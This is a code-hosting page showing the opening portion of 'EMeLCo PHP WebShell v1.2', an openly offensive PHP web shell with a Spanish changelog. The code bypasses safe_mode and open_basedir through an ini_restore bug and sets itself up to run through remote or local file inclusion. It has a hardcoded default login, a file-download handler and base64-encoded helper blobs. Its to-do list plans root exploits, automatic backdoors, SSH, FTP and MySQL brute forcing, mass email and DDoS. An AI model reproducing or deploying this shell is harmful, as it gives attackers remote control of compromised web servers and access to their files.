PageRenderTime 49ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/emelco-1.2.php

http://emelco.googlecode.com/
PHP | 945 lines | 846 code | 14 blank | 85 comment | 15 complexity | 8cbccdb36d622b9d57e28793600c72cf MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. :::::::::: ::: ::: :::::::::: ::: :::::::: ::::::::
  4. :+: :+:+: :+:+: :+: :+: :+: :+: :+: :+:
  5. +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+
  6. +#++:++# +#+ +:+ +#+ +#++:++# +#+ +#+ +#+ +:+
  7. +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  8. #+# #+# #+# #+# #+# #+# #+# #+# #+#
  9. ########## ### ### ########## ########## ######## ########
  10. ::: ::: :::::::::: ::::::::: :::::::: ::: ::: :::::::::: ::: :::
  11. :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
  12. +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
  13. +#+ +:+ +#+ +#++:++# +#++:++#+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
  14. +#+ +#+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  15. #+#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
  16. ### ### ########## ######### ######## ### ### ########## ########## ##########
  17. EMelCo PHP WebShell v1.2
  18. Escrita por >> s E t H <<
  19. seth (at) el-hacker (dot) org
  20. http://code.google.com/p/emelco/
  21. http://emelco.66ghz.com/lists/
  22. http://elrincondeseth.wordpress.com/
  23. http://foro.undersecurity.net/
  24. http://0verl0ad.blogspot.com/
  25. Copyright (c) 2009 2010, EMeLCo
  26. All rights reserved.
  27. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  28. * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  29. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
  30. * Neither the name of the authors nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
  31. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  32. Changelog:
  33. 1.2
  34. [+] Explota un bug con ini_restore para saltearse safe_mode y open_basedir PHP <= 5.1.6 / 4.4.4
  35. [!] Cambió el orden de los error_reporting para que sea mas facil debuggear
  36. [!] Intenta modificar memory_limit
  37. [!] Al listar archivos los va mostrando de a uno, para no llegar al limite de memoria (funciona bien con los 8mb default)
  38. [!] Las lineas del textarea de w=shell se acomodan a las lineas de la salida del comando
  39. [!] Arreglado un bug en archivosdeusuarios(), que hacia que devuelva solo una ubicacion
  40. [+] Agregado "<whereis ruby" y corregido .htacces por .htaccess en w=info
  41. ToDo:
  42. [!] Eliminar los mensajes de: "No se puede leer /var/log/messages porque supera los 50000 bytes", o ponerlos como link
  43. [+] Modificar leerarchivo() para que use shell() con cat
  44. [+] Agregar rootexploits
  45. [+] Agregar exploits de php
  46. [+] Agregar una shell remota tipo datacha0s en varios lenguajes (php, c y perl seguro)
  47. [+] Agregar backdoorizacion automática
  48. [+] Agregar descripciones en los textarea e input--> onfocus="this.value=''; this.onfocus=null;"
  49. [!] Mejorar las funciones para leer y escribir archivos
  50. [+] Agregar brute force de ssh
  51. [+] Agregar brute force de ftp
  52. [+] Agregar brute force de mysql
  53. [+] Agregar navegador de sql
  54. [+] Agregar para mover y copiar los archivos
  55. [+] Ejecutar comandos con http://us3.php.net/manual/en/function.pcntl-exec.php y http://ar2.php.net/manual/en/function.proc-open.php
  56. [+] Agregar para copiar y mover archivos
  57. [+] Enviar muchos emails de un saque
  58. [+] DDoS ?
  59. [+] Poner todas las imágenes en un solo archivo y mostrarlas con css para ahorrar peticiones
  60. [+] Usar ajax
  61. [+] Mostrar los módulos instalados
  62. [+] Agregar comandos de la WSO, r57 y las variaciones de c99
  63. [!] si en w=editar haces click en el text y apretas enter, es como apretar guardar
  64. [!] ?w=subir tiene que usar escribirarchivo()
  65. */
  66. //Usuario (Dejalo vacio para que no pida clave):
  67. $nombre_usuario = 'seth';
  68. //hash sha1 de la clave
  69. $clave_usuario = 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'; //"EMeLCo"
  70. //Cambia esto para usar la shell con LFI
  71. //$rfiurl = "?page=../../../error_log&";
  72. $rfiurl = false;
  73. error_reporting(0); //final
  74. //error_reporting(E_ALL); //desarrollo
  75. /**/
  76. // http://securityreason.com/achievement_securityalert/42
  77. if(strtolower(ini_get("safe_mode"))=="on"){
  78. ini_restore("safe_mode");
  79. }
  80. if($_COOKIE["openBasedirBypass"]=="true"){
  81. ini_restore("open_basedir");
  82. }
  83. set_time_limit(0);
  84. ini_set('memory_limit', -1);
  85. $nombre = 'EMeLCo WebShell v1.2';
  86. // de php.net para contrarrestar magic_quotes_gpc
  87. if (get_magic_quotes_gpc()) {
  88. function stripslashes_deep($value)
  89. {
  90. $value = is_array($value) ?
  91. array_map('stripslashes_deep', $value) :
  92. stripslashes($value);
  93. return $value;
  94. }
  95. $_POST = array_map('stripslashes_deep', $_POST);
  96. $_GET = array_map('stripslashes_deep', $_GET);
  97. $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
  98. $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
  99. }
  100. //Parcheamos la url para que ande con RFI
  101. if (!$rfiurl){
  102. $rfiurl = "?";
  103. $include = "&";
  104. foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  105. $v = explode("=",$v);
  106. $name = urldecode($v[0]);
  107. $value = urldecode($v[1]);
  108. foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  109. if (strpos($value,$needle) === 0) {
  110. $rfiurl .= urlencode($name)."=".urlencode($value)."&";}
  111. }
  112. }
  113. unset($v);
  114. unset($name);
  115. unset($value);
  116. }
  117. $rfiurl = htmlentities($rfiurl);
  118. if (isset($nombre_usuario) and ($nombre_usuario != "")){ //si tiene clave
  119. if ( ($_COOKIE["u"] != $nombre_usuario) or ($_COOKIE["c"] != $clave_usuario) ){ //si no está logueado muestra un formulario que pide la clave
  120. echo'
  121. <html><head><script>
  122. function createCookie(name,value,days) {
  123. if (days) {
  124. var date = new Date();
  125. date.setTime(date.getTime()+(days*24*60*60*1000));
  126. var expires = "; expires="+date.toGMTString();
  127. }
  128. else var expires = "";
  129. document.cookie = name+"="+value+expires+"; path=/";
  130. }
  131. function saveIt() {
  132. var x = document.forms["f"].u.value;
  133. createCookie("u",x,7);
  134. var x = document.forms["f"].c.value;
  135. createCookie("c",sha1(x),7);
  136. document.reload();
  137. }
  138. '.base64_decode('ZnVuY3Rpb24gdXRmOF9lbmNvZGUgKCBhcmdTdHJpbmcgKSB7DQogICAgLy8gaHR0cDovL2tldmluLnZhbnpvbm5ldmVsZC5uZXQNCiAgICAvLyArICAgb3JpZ2luYWwgYnk6IFdlYnRvb2xraXQuaW5mbyAoaHR0cDovL3d3dy53ZWJ0b29sa2l0LmluZm8vKQ0KICAgIC8vICsgICBpbXByb3ZlZCB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iA2KSB8IDE5MikgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSAmIDYzKSB8IDEyOCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlbmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSA+PiAxMikgfCAyMjQpICsgU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMxID4+IDYpICYgNjMpIHwgMTI4KSArIFN0cmluZy5mcm9tQ2hhckNvZGUoKGMxICYgNjMpIHwgMTI4KTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZW5jICE9PSBudWxsKSB7DQogICAgICAgICAgICBpZiAoZW5kID4gc3RhcnQpIHsNCiAgICAgICAgICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIGVuZCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB1dGZ0ZXh0ICs9IGVuYzsNCiAgICAgICAgICAgIHN0YXJ0ID0gZW5kID0gbisxOw0KICAgICAgICB9DQogICAgfQ0KIA0KICAgIGlmIChlbmQgPiBzdGFydCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIHN0cmluZy5sZW5ndGgpOw0KICAgIH0NCiANCiAgICByZXR1cm4gdXRmdGV4dDsNCn0=').base64_decode('ZnVuY3Rpb24gc2hhMSAoc3RyKSB7DQoNCiAgICAvLyBodHRwOi8va2V2aW4udmFuem9ubmV2ZWxkLm5ldA0KDQogICAgLy8gKyAgIG9yaWdpbmFsIGJ5OiBXZWJ0b29sa2l0LmluZm8gKGh0dHA6Ly93d3cud2VidG9vbGtpdC5pbmZvLykNCg0KICAgIC8vICsgbmFtZXNwYWNlZCBieTogTWljaGFlbCBXaGl0ZSAoaHR0cDovL2dldHNwcmluay5jb20pDQoNCiAgICAvLyArICAgICAgaW5wdXQgYnk6IEJyZXR0IFphbWlyIChodHRwOi8vYnJldHQtemFtaXIubWUpDQoNCiAgICAvLyArIC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ktMTRdIF4gV1tpLTE2XSwgMSk7fQ0KDQogDQoNCiANCg0KICAgICAgICBBID0gSDA7DQoNCiAgICAgICAgQiA9IEgxOw0KDQogICAgICAgIEMgPSBIMjsNCg0KICAgICAgICBEID0gSDM7DQoNCiAgICAgICAgRSA9IEg0Ow0KDQogDQoNCiAgICAgICAgZm9yIChpPSAwOyBpPD0xOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArICgoQiZDKSB8ICh+QiZEKSkgKyBFICsgV1tpXSArIDB4NUE4Mjc5OTkpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgZm9yIChpPTIwOyBpPD0zOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArIChCIF4gQyBeIEQpICsgRSArIFdbaV0gKyAweDZFRDlFQkExKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgICAgICBFID0gRDsNCg0KICAgICAgICAgICAgRCA9IEM7DQoNCiAgICAgICAgICAgIEMgPSByb3RhdGVfbGVmdChCLDMwKTsNCg0KICAgICAgICAgICAgQiA9IEE7DQoNCiAgICAgICAgICAgIEEgPSB0ZW1wOw0KDQogICAgICAgIH0NCg0KIA0KDQogICAgICAgIGZvciAoaT00MDsgaTw9NTk7IGkrKykgew0KDQogICAgICAgICAgICB0ZW1wID0gKHJvdGF0ZV9sZWZ0KEEsNSkgKyAoKEImQykgfCAoQiZEKSB8IChDJkQpKSArIEUgKyBXW2ldICsgMHg4RjFCQkNEQykgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICAgICAgRSA9IEQ7DQoNCiAgICAgICAgICAgIEQgPSBDOw0KDQogICAgICAgICAgICBDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoNCiAgICAgICAgICAgIEIgPSBBOw0KDQogICAgICAgICAgICBBID0gdGVtcDsNCg0KICAgICAgICB9DQoNCiANCg0KICAgICAgICBmb3IgKGk9NjA7IGk8PTc5OyBpKyspIHsNCg0KICAgICAgICAgICAgdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKEIgXiBDIF4gRCkgKyBFICsgV1tpXSArIDB4Q0E2MkMxRDYpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgSDAgPSAoSDAgKyBBKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEgxID0gKEgxICsgQikgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICBIMiA9IChIMiArIEMpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgSDMgPSAoSDMgKyBEKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEg0ID0gKEg0ICsgRSkgJiAweDBmZmZmZmZmZjsNCg0KICAgIH0NCg0KIA0KDQogICAgdGVtcCA9IGN2dF9oZXgoSDApICsgY3Z0X2hleChIMSkgKyBjdnRfaGV4KEgyKSArIGN2dF9oZXgoSDMpICsgY3Z0X2hleChINCk7DQoNCiAgICByZXR1cm4gdGVtcC50b0xvd2VyQ2FzZSgpOw0KDQp9').'
  139. </script></head><body>';
  140. if($clave_usuario == 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'){
  141. echo '<div style="font-weight: bold; color: #CD2626;">&iexcl;ATENCI&Oacute;N, no se cambi&oacute; la clave por defecto!</div><br>';
  142. }
  143. echo '<form name="f" action="'.$rfiurl.'" method="POST">
  144. Usuario: <input name="u" type="text"><br>Clave: <input name="c" type="password"><br><input type="submit" value="Entrar" onclick="saveIt()">
  145. </form></body></html>
  146. ';
  147. die();
  148. }
  149. }
  150. // Con esto mostramos las imagenes. Va arriba porque no se puede mandar nada antes
  151. if ($_GET["w"]=="img"){
  152. Header('Content-type: image/gif');
  153. if($_GET["imagen"]=="carpeta"){
  154. die(base64_decode('R0lGODlhEAAQAMQfAOvGUf7ztuvPMf/78/fkl/Pbg+u8Rvjqteu2Pf3zxPz36Pz0z+vTmPzurPvuw/npofbjquvNefHVduuyN+uuMu3Oafbgjfnqvf/3zv/3xevPi+vRjP/20/bmsP///////yH5BAEAAB8ALAAAAAAQABAAAAV24CeOZGmepqeqqOgxjBZFa+19r4ftWQUAgqDgltthMshMIJAZ4jYDHsBARSAmFOJvq+g6HIdEFgcYmBWNxoNAsDjGHgBnmV5bCoUDHLBIq9sFEhIdcAYJdYASFRUQhQkLCwkOFwcdEBAXhVabE52ecDahKy0oIQA7'));
  155. }elseif($_GET["imagen"]=="ejecutable"){
  156. die(base64_decode('R0lGODlhEAAQAMQfAESUKF/CPoXZVn3VUihXGGXGQU6qL/b79HHNSdTvyy9nHD6HJnfRTYDWVI7eXIrcWonbWXrTT0mhLGnJRG3LRyVPFnTPSzZ0Ib3mr460gLLiocXpuCNMFez46P///////yH5BAEAAB8ALAAAAAAQABAAAAWJ4Pd5ZGl6ougZbCtJALCgo5EdXa53h3ahq4PD8YAIGoMII6EAGjpEoyDJsGwIzk5R4GkoLYgrUNKRkqoIyqYy7giOpfRkDVx0kBESZVIoaDh1HVQeCBN8AX9AFx1faX0BiIAjCgdoewWQARiSHgoZCRuhGxqkGBmSIwQVqxytrqgqJycptLW2HyEAOw=='));
  157. }elseif($_GET["imagen"]=="enlace"){
  158. die(base64_decode('R0lGODlhEAAQANUkAHBwcMXFxaioqJqamtHR0XNzc6SkpJeXl6CgoNXV1ZiYmHd3d8fHx6Kioo2NjZubm6GhoX9/f4qKipSUlKenp5CQkJOTk6Ojo3t7e6WlpZ2dnX19fZ+fn4SEhHJycn5+foWFhZ6entra2v///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACQALAAAAAAQABAAAAZmQJJwSCwaj0jSaMlMjgSUjAGCGB2fI1GCwAg8rEKmYGRAcAYKRWDCHIXe78vyAH8vRXg8SBjJ45cggYEDSwUAh4dtDSMHFRIdHxgBC01hGllbXR5gRSMWDiAbCwWcRm1LSamqq6pBADs='));
  159. }elseif($_GET["imagen"]=="flechad"){
  160. die(base64_decode('R0lGODlhEAAQALMLAJLNXpDEaZPNX4/NU5bUWJnXWpDNVIvFWXyuWmOPRf///////wAAAAAAAAAAAAAAACH5BAEAAAsALAAAAAAQABAAAAQvcMlJq704Z6U0VUm3cWC4JWgCmBc4GESxihUIAIGAsHWaHLwaCUU7FUeepHJpiQAAOw=='));
  161. }elseif($_GET["imagen"]=="archivo"){
  162. die(base64_decode('R0lGODlhEAAQAMQfAMfj/uzx9rvc/eXt9YivyHaXtFdwkZXK/KvU+0lVa/L2+rba/KTR+4m77FJhe67T5UNLXNXn8MDf/bHX/JrA1qjL3t7n7ykxQz5FVeLp8LDR48vM0Z7O+9Xb5P///////yH5BAEAAB8ALAAAAAAQABAAAAWPoCeO5PidXvRoFUURRCEXHvpEQ5DrQ98YNY9mACgWJUhF4yeqKIwApECgqDpElOdRulhMFFdPdisRdCcIsIjwlJon6HRireB6EQgGYzD3FAJccXocAxAif1N3eQwcHBmGfgFmd4MHBxYYhwpveIwclgGZHgYdCjwZqBkWARsXhwawDg4JCRAQGBgXYSW8JCEAOw=='));
  163. }elseif($_GET["imagen"]=="descargar"){
  164. die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtJrM++vx9+Xt9YivyKTR+8fj/ldwkUlVa73e/dXb5PH1+mGNRPDx8bPY/Im77H6xW1Jhe7TR4ENLXNXn8PX4+vv7+5rA1qjL3uDo7ykxQz5FVWOPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWWoCeO5PidXjVNGYYVRSAHHjpVxJDrRA8hNc+EcCgWFUgG5CfKWIydaEfBqEpEmGexA4h0HmDG1ZOFdr/hcYFxkAIAUgMjIVorLtw3oHExEOgeAQNJHRERDQ4GfhQigkgPDg2IBgICGoyBg2CQiZWWHI0WCpuKlJUOoB4ICww8BBqwGg4TG40ItxISCQkUFBwcG2MlwyQhADs='));
  165. }elseif($_GET["imagen"]=="editar"){
  166. die(base64_decode('R0lGODlhEAAQAMQAAGB3lYivyMDf/XiZt+Ts9ajT/Mbh/UlVa/P2+bLY/FRlfu3x9ZzN++Xy/rTR4ENLXN7v/tTk8Jm/1enx96jL3uDo7ykxQz5FVb2JAP+8Bv/RV6HQ/FSr9qfR+jhllf///yH5BAAAAAAALAAAAAAQABAAAAWV4CeOZClGjkNJUhAMsOdJohMRUz4RvNdxntrEQCQKGj6gQkRBFAXHpAex/EicBijy54FQRddslAspfD8BhBZDLpgPovQRo8l0C50NAf4ZLBp0GRhleXoPIn4RdYN4GxsMFYd9CwkKlgoAAwybFReICAkJeAUDAKYAC54fABEIOzwEFbILDhaImJcHBw8PFxcWVSbCIiEAOw=='));
  167. }elseif($_GET["imagen"]=="eliminar"){
  168. die(base64_decode('R0lGODlhEAAQAMQfAPMyMpfL/HSUseYTE/5WVrzd/e3x9eXs9VdwkarU+0pXbbba/ISqxaLQ+/74+MLg/Ym77PD1+v+IiNrf51Jhe0RNX/729rHX/CkxQz9GVsvM0f7IyNRBRuDo8P///////yH5BAEAAB8ALAAAAAAQABAAAAWSoOdYnlie5ac63OBt3MTMQu2p5TAQXhQdwAMEcSsRBoDSY1mIQIYigIsg8TCbPorHMqieHoXCYnGJaL9LsJicMJcYkfT6ckm0Fe84eFy3Nw54HgwGamwJDYgHFSUCBmGGiA0BHYsejXN+kpMZjBFifYgBogacHggTEQZBHawdBhoYjAizFBQKChUVGRkYZyi/wCEAOw=='));
  169. }elseif($_GET["imagen"]=="comandos"){
  170. die(base64_decode('R0lGODlhEAAQAMQfAHSUstdxbU1Zbvz9/4CwzVZtjeTs9Njq9+rx9o7B8d7LzbjTsISyhUiCRvb5/K7S5NXd36LQ+7TZ/PP2+sPh/ajL3ikxQz9HV+Hp8Jq/1czkt5PGeDhzKs9XUv///////yH5BAEAAB8ALAAAAAAQABAAAAWSoCeO5Pid3vE8VZYRBCADHvocBuKIgzcZiULN89D1Ap1AwDNAEISeyqDjQXau1M4AiriKlh7vFSK6DhrkMnWa1VIajLB3EWGb3wS5Z9GIOMRaDRsaIg8cDWwiGGYNcgoMbGkAUwMSenUdDhciAA4DlQciB3VNmx4FEBMIBqwYrhgIChacBbUFArgXuhcWAiW/vyEAOw=='));
  171. }elseif($_GET["imagen"]=="archivonuevo"){
  172. die(base64_decode('R0lGODlhEAAQANUoAOLp8ElVa0NLXIivyJXK/D5FVYm77N7n7ykxQ5rA1svM0YS8O4C4OJXJSInAP5fLS362N4/ERJLHR5DFRdXb5JbKStXn8HqzM4vAQJ7O+1Jhe1dwkezx9nKsLeXt9XaXtKTR+7HX/PL2+sDf/bvc/avU+7ba/P///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACgALAAAAAAQABAAAAaXwJNwSByijifLqdM5JQaDj/RzQgofjaFn6zFsqsuKJOJojs4ig1fYmWAWEDOJJKpriIzLcEQymUIid05LZnx+ISWBQgNEc3+IiQGLImd9fyUlICAekicfHJWXmSAZHgJCn46QmhkZAKeeHJaIrAQEBwWoIn2rrbYcuScbFCIcWwDIAAccCgioG9AaGgEBAgIFBQiCRdxEQQA7'));
  173. }elseif($_GET["imagen"]=="carpetanueva"){
  174. die(base64_decode('R0lGODlhEAAQANUnAP/3xffkl+vPMfbgjf3zxP7ztvnpofz36PPbg/vuw+3Oaf/78/HVdvbjqvjqtfz0z/bmsPnqvYvAQI/ERJfLS//204nAP5XJSHqzM5bKSoS8O5LHR362N4C4OJDFReu8Ruu2PeuyN+vGUXKsLeuuMvzurP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACcALAAAAAAQABAAAAaFwNPJRDQJj8ijaTQyJpFFyqX4FC4zm4mlWewSRx6JhtNUiESCtKDbwRQB8EIBsB4umwDRZw8ChUhGXiIHhAkJDgSAQyILjQclJQYBAQMJiiYiFXKQkgMICA6XIg+QkZQIDAwQlx8EnKcMCgoNrAQPDwQJEQ4QDQ0RrH3CIcTFl17IVFXLQQA7'));
  175. }elseif($_GET["imagen"]=="php"){
  176. die(base64_decode('R0lGODlhEAAQAMQfAOTq8+3x9pSty/L2+26NyLXa/JTI+lZtjYSiuFJrsUlVa8jj/oW05uft9XqVr9TZ6d3h76zU+93n8FJgebLD00NLXGqIqSkxQz5FVb/e/XuZ0MvM0Z/P+0BXo////////yH5BAEAAB8ALAAAAAAQABAAAAWloCeO5PidnoMggrA6sGN5qCA1AZ43DWAcNI8gsCgWM8gBgwH0UAbGBTJTGFibgYAm0ekmCIJCdSKSdDuBcyehiQzIns6gARkEBHMIe6AQdQAdEA1ogxAdBAB9cQEAD4CMEA9sABUiAoBqD2sEHBKVHg0ECVxeBAwGBhIYIhQeVAURERyzqAGrHhYPdjwAvQASARsXIg4HxhMTCgoVFRgYF3Al0iQhADs='));
  177. }else{
  178. die();
  179. }
  180. // Esto es para descargar archivos. Va arriba porque no se puede mandar nada antes
  181. }elseif (( $_GET["w"] == "descargar" ) and (( $archivo = leerarchivo($_REQUEST["ruta"] ))!==FALSE)){
  182. header("Content-type: application/force-download");
  183. header('Content-Disposition: attachment; filename="'.urlencode(basename($_REQUEST["ruta"]))."\"\n");
  184. die($archivo);
  185. }
  186. // Mandamos el principio del html y el css
  187. echo'
  188. <html>
  189. <head>
  190. <title>EMeLCo WebShell</title>
  191. <style>
  192. body{
  193. background-color: #ECF1EF;
  194. font-family: monospace;
  195. }
  196. table{
  197. font-size: 12px;
  198. color: #8B8378;
  199. font-family: monospace;
  200. margin-left: auto;
  201. margin-right: auto;
  202. }
  203. td{
  204. padding-right:10px;
  205. padding-left:10px;
  206. border: 1px dashed #BDB5AF;
  207. }
  208. #contenedorgrande{
  209. background-color: #EBECE4;
  210. font-size: 12px;
  211. color: #8B8378;
  212. margin:2% auto 2% auto;
  213. width:80%;
  214. border: 1px dashed #DDD5CF;
  215. }
  216. #contenedor{
  217. border: 2px solid #333333;
  218. padding: 1% 2% 2% 1%;
  219. margin: 0 auto 0 auto;
  220. border-color: #CDC5BF
  221. }
  222. .n{
  223. font-weight: bold;
  224. color: #CD2626;
  225. }
  226. .s{
  227. font-weight: bold;
  228. color: #8ABD22;
  229. }
  230. .inline{
  231. display:inline;
  232. }
  233. .f{
  234. font-weight: bold;
  235. display: inline;
  236. color: #8B8878;
  237. }
  238. .ac{
  239. text-align:right;
  240. }
  241. .ai{
  242. border: none;
  243. }
  244. h2{
  245. display:inline;
  246. color: #EE7600;
  247. font-weight: bold;
  248. }
  249. h1{
  250. color: #EE7600;
  251. font-weight: bold;
  252. text-decoration: none;
  253. }
  254. a{
  255. color:#838B8B;
  256. }
  257. a.sinsubrayado{
  258. text-decoration: none;
  259. }
  260. a:hover{
  261. font-size:105%;
  262. font-weight: bold;
  263. }
  264. textarea:focus, textarea:hover, input:hover, input:focus {
  265. border: 2px solid #EE7621;
  266. }
  267. /* Estilo para el phpinfo */
  268. #phpinfo {width: 100%;}
  269. #phpinfo body, #phpinfo td, #phpinfo th, #phpinfo h1, #phpinfo h2 {font-family: sans-serif;}
  270. #phpinfo pre {margin: 0px; font-family: monospace;}
  271. #phpinfo a, #phpinfo a:link, #phpinfo a:hover {color: #EE7600; font-weight: bold; text-decoration: none; font-size:100%;}
  272. #phpinfo .e {background-color: #EBECE4; font-weight: bold; color: #8B8378;}
  273. #phpinfo .h {background-color: #ECF1EF; font-weight: bold; color: #8B8378;}
  274. #phpinfo .v {background-color: #ECF1EF; color: #8B8378;}
  275. #phpinfo td {font-size: 100%;}
  276. .center {text-align: center;}
  277. #phpinfo .center table { margin-left: auto; margin-right: auto; text-align: left;}
  278. #phpinfo .center th { text-align: center !important; }
  279. #phpinfo td {vertical-align: baseline;}
  280. #phpinfo th {border: 2px dashed #BDB5AF;}
  281. #phpinfo h1 {font-size: 150%;}
  282. #phpinfo h2 {font-size: 125%;}
  283. #phpinfo .p {text-align: left;}
  284. #phpinfo .vr {background-color: #cccccc; text-align: right; color: #000000;}
  285. #phpinfo img {float: right; border: 0px;}
  286. #phpinfo hr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
  287. </style>
  288. </head>
  289. <body>
  290. <div id="contenedorgrande">
  291. <div id="contenedor">
  292. ';
  293. switch($_GET["w"]){
  294. /* Mostramos las directivas mas importantes de php.ini y su explicación */
  295. case "directivas";
  296. /* Creamos un array con todas las directivas y su descripcion */
  297. //safe mode http://ar2.php.net/manual/en/ini.sect.safe-mode.php
  298. $functions[]=array("<h2>Safe-Mode</h2>",'<a href="http://ar2.php.net/manual/en/ini.sect.safe-mode.php">http://ar2.php.net/manual/en/ini.sect.safe-mode.php</a>');
  299. $functions[]=leerconfig('safe_mode',' Whether to enable PHP&#039;s safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.');
  300. $functions[]=leerconfig('safe_mode_gid',' By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access. ');
  301. $functions[]=leerconfig('safe_mode_include_dir',' UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including). As of PHP 4.2.0, this directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that &quot;safe_mode_include_dir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: &quot;safe_mode_include_dir = /dir/incl/&quot; If the value of this directive is empty, no files with different UID/GID can be included in PHP 4.2.3 and as of PHP 4.3.3. In earlier versions, all files could be included. ');
  302. $functions[]=leerconfig('safe_mode_exec_dir',' If PHP is used in safe mode, system() and the other functions executing system programs refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows. ');
  303. $functions[]=leerconfig('safe_mode_allowed_env_vars',' Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: If this directive is empty, PHP will let the user modify ANY environment variable! ');
  304. $functions[]=leerconfig('safe_mode_protected_env_vars',' This directive contains a comma-delimited list of environment variables that the end user won&#039;t be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them. ');
